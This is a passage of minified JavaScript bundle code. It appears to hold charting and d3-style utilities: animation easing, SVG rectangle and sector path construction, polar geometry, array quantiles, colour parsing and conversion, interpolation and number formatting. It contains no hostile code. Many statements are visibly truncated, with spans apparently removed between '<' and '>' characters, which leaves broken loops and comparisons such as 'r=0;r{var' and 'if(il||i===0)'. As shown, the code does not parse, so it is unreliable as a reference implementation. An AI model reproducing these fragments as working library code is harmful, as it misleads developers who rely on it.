l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ko((g,y)=>wu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ko((g,y)=>wu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const n8=(e,t,n,r,i,s)=>{var o=XM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?e8(e,t,n,o,i,s):t8(e,t,n,r,o,i,s)};var ju=1e-4,$k=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Bk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),o1=(e,t)=>n=>{var r=$k(e,t);return Bk(r,n)},r8=(e,t)=>n=>{var r=$k(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Bk(i,n)},i8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},a8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=o1(e,n),s=o1(t,r),o=r8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return l1(e);case"spring":return o8();default:if(e.split("(")[0]==="cubic-bezier")return l1(e)}return typeof e=="function"?e:null};function c8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class u8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function d8(){return c8(new u8)}var f8=m.createContext(d8);function m8(e,t){var n=m.useContext(f8);return m.useMemo(()=>t??n(e),[e,t,n])}var p8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Gd={isSsr:p8()},h8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},c1={t:0},pm={t:1};function Yd(e){var t=gn(e,h8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Gd.isSsr:n,f=m8(t.animationId,t.animationManager),[p,h]=m.useState(d?c1:pm),x=m.useRef(null);return m.useEffect(()=>{d||h(pm)},[d]),m.useEffect(()=>{if(!d||!r)return bs;var g=n8(c1,pm,l8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef($o(t)),r=m.useRef(e);return r.current!==e&&(n.current=$o(t),r.current=e),n.current}var x8=["radius"],v8=["radius"],u1,d1,f1,m1,p1,h1,x1,v1,g1,y1;function b1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(u1||(u1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(d1||(d1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(f1||(f1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(m1||(m1=tr(["A ",",",",0,0,",`, + `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(p1||(p1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(h1||(h1=tr(["A ",",",",0,0,",`, + `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(x1||(x1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(v1||(v1=tr(["A ",",",",0,0,",`, + `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(g1||(g1=tr(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(y1||(y1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},k1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Fk=e=>{var t=gn(e,k1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var _=n.current.getTotalLength();_&&i(_)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,O=j1(z,x8);return m.createElement("path",Nu({},O,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:N1(s,o,l,c,u)}))}var A=y.current,T=v.current,P=b.current,D=w.current,G="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),K=Dk(["strokeDasharray"],p,typeof f=="string"?f:k1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},_=>{var M=At(A,l,_),F=At(T,c,_),U=At(P,s,_),V=At(D,o,_);n.current&&(y.current=M,v.current=F,b.current=U,w.current=V);var Z;x?_>0?Z={transition:K,strokeDasharray:R}:Z={strokeDasharray:G}:Z={strokeDasharray:R};var ae=Ut(t),{radius:ue}=ae,be=j1(ae,v8);return m.createElement("path",Nu({},be,{radius:typeof u=="number"?u:void 0,className:k,d:N1(U,V,M,F,u),ref:n,style:w1(w1({},Z),t.style)}))})};function z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function S1(e){for(var t=1;te*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-ku*r)*n,y:t+Math.sin(-ku*r)*n}),Wk=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},S8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},C8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=S8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:z8(c),angleInRadian:c}},P8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},E8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},_8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=C8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=P8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?S1(S1({},t),{},{radius:i,angle:E8(d,t)}):null};function Uk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var C1,P1,E1,_1,A1,O1,T1;function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=qt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Xl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/ku,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*ku),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Vk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=A8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(C1||(C1=Yi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(P1||(P1=Yi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(E1||(E1=Yi(["L ",","," Z"])),t,n);return f},O8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=qt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Xl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Xl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(_1||(_1=Yi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),p.x,p.y,s,s,s*2,s,s,-s*2):Vk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(A1||(A1=Yi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Xl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Xl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(O<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(O1||(O1=Yi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(O>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(T1||(T1=Yi(["L",",","Z"])),t,n);return b},T8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Hk=e=>{var t=gn(e,T8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=O8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Vk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",uh({},Ut(t),{className:p,d:g}))};function M8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(uN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Uk(t)}}var Kk={},Gk={},Yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gx,n=Gk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function I8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function i0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===I8?e:D8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function D8(){return 0}function Xk(e){return e===null?NaN:+e}function*R8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const $8=i0(wi),fl=$8.right;i0(Xk).center;class M1 extends Map{constructor(t,n=W8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(L1(this,t))}has(t){return super.has(L1(this,t))}set(t,n){return super.set(B8(this,t),n)}delete(t){return super.delete(F8(this,t))}}function L1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function B8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function F8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function W8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function U8(e=wi){if(e===wi)return Zk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function Zk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const V8=Math.sqrt(50),H8=Math.sqrt(10),K8=Math.sqrt(2);function zu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=V8?10:s>=H8?5:s>=K8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function D1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Qk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?Zk:U8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Qk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Hs(e,n,t),i(e[r],s)>0&&Hs(e,n,r);o0;)--l}i(e[n],s)===0?Hs(e,n,l):(++l,Hs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Hs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function G8(e,t,n){if(e=Float64Array.from(R8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return D1(e);if(t>=1)return I1(e);var r,i=(r-1)*t,s=Math.floor(i),o=I1(Qk(e,s).subarray(0,s+1)),l=D1(e.subarray(s+1));return o+(l-o)*(i-s)}}function Y8(e,t,n=Xk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function q8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Zl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Zl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Q8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=J8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=e7.exec(e))?Zl(t[1],t[2],t[3],t[4]):(t=t7.exec(e))?Zl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=n7.exec(e))?V1(t[1],t[2]/100,t[3]/100,1):(t=r7.exec(e))?V1(t[1],t[2]/100,t[3]/100,t[4]):R1.hasOwnProperty(e)?F1(R1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function F1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Zl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function s7(e){return e instanceof ml||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function hh(e,t,n,r){return arguments.length===1?s7(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}o0(Xt,hh,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Cu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:W1,formatHex:W1,formatHex8:o7,formatRgb:U1,toString:U1}));function W1(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}`}function o7(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}${qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function U1(){const e=Cu(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Cu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function qi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function V1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function t4(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof ml||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function l7(e,t,n,r){return arguments.length===1?t4(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}o0(Hn,l7,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(hm(e>=240?e-240:e+120,i,r),hm(e,i,r),hm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(H1(this.h),Ql(this.s),Ql(this.l),Cu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Cu(this.opacity);return`${e===1?"hsl(":"hsla("}${H1(this.h)}, ${Ql(this.s)*100}%, ${Ql(this.l)*100}%${e===1?")":`, ${e})`}`}}));function H1(e){return e=(e||0)%360,e<0?e+360:e}function Ql(e){return Math.max(0,Math.min(1,e||0))}function hm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const l0=e=>()=>e;function c7(e,t){return function(n){return e+n*t}}function u7(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function d7(e){return(e=+e)==1?n4:function(t,n){return n-t?u7(t,n,e):l0(isNaN(t)?n:t)}}function n4(e,t){var n=t-e;return n?c7(e,n):l0(isNaN(e)?t:e)}const K1=function e(t){var n=d7(t);function r(i,s){var o=n((i=hh(i)).r,(s=hh(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=n4(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function f7(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Pu(r,i)})),n=xm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function N7(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?k7:N7,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Pu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Eu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=c0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function u0(){return Xd()(Ft,Ft)}function z7(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function _u(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function ds(e){return e=_u(Math.abs(e)),e?e[1]:NaN}function S7(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function C7(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var P7=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Xo(e){if(!(t=P7.exec(e)))throw new Error("invalid format: "+e);var t;return new d0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Xo.prototype=d0.prototype;function d0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}d0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function E7(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var Au;function _7(e,t){var n=_u(e,t);if(!n)return Au=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(Au=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+_u(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=_u(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:z7,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:_7,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function X1(e){return e}var Z1=Array.prototype.map,Q1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function A7(e){var t=e.grouping===void 0||e.thousands===void 0?X1:S7(Z1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?X1:C7(Z1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Xo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,k=f.type;k==="n"?(w=!0,k="g"):q1[k]||(j===void 0&&(j=12),N=!0,k="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var z=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(k)?"0"+k.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(k)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),O=q1[k],A=/[defgprs%]/.test(k);j=j===void 0?6:/[gprs]/.test(k)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var D=z,G=S,R,K,_;if(k==="c")G=O(P)+G,P="";else{P=+P;var 